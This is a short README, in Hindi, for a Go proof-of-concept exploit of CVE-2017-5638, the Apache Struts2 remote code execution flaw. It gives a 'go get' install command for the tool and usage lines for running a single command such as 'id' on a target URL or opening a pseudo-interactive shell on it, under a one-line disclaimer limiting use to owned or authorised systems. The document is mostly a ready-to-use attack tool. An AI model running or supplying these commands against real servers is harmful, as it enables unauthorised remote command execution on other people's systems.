CVE-2017-5638 के लिए POC एक्सप्लॉइट

इस एक्सप्लॉइट का उपयोग केवल उन सिस्टमों पर करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अधिकार हैं

स्थापना

यदि आपके कंप्यूटर पर go पहले से स्थापित है, तो go get ही सही तरीका है

go get github.com/Greynad/struts2-jakarta-inject

उपयोग

एकल कमांड निष्पादन

struts2-jakarta-inject -u <url> -c 'id'

स्यूडो इंटरैक्टिव शेल

struts2-jakarta-inject -u <url> -i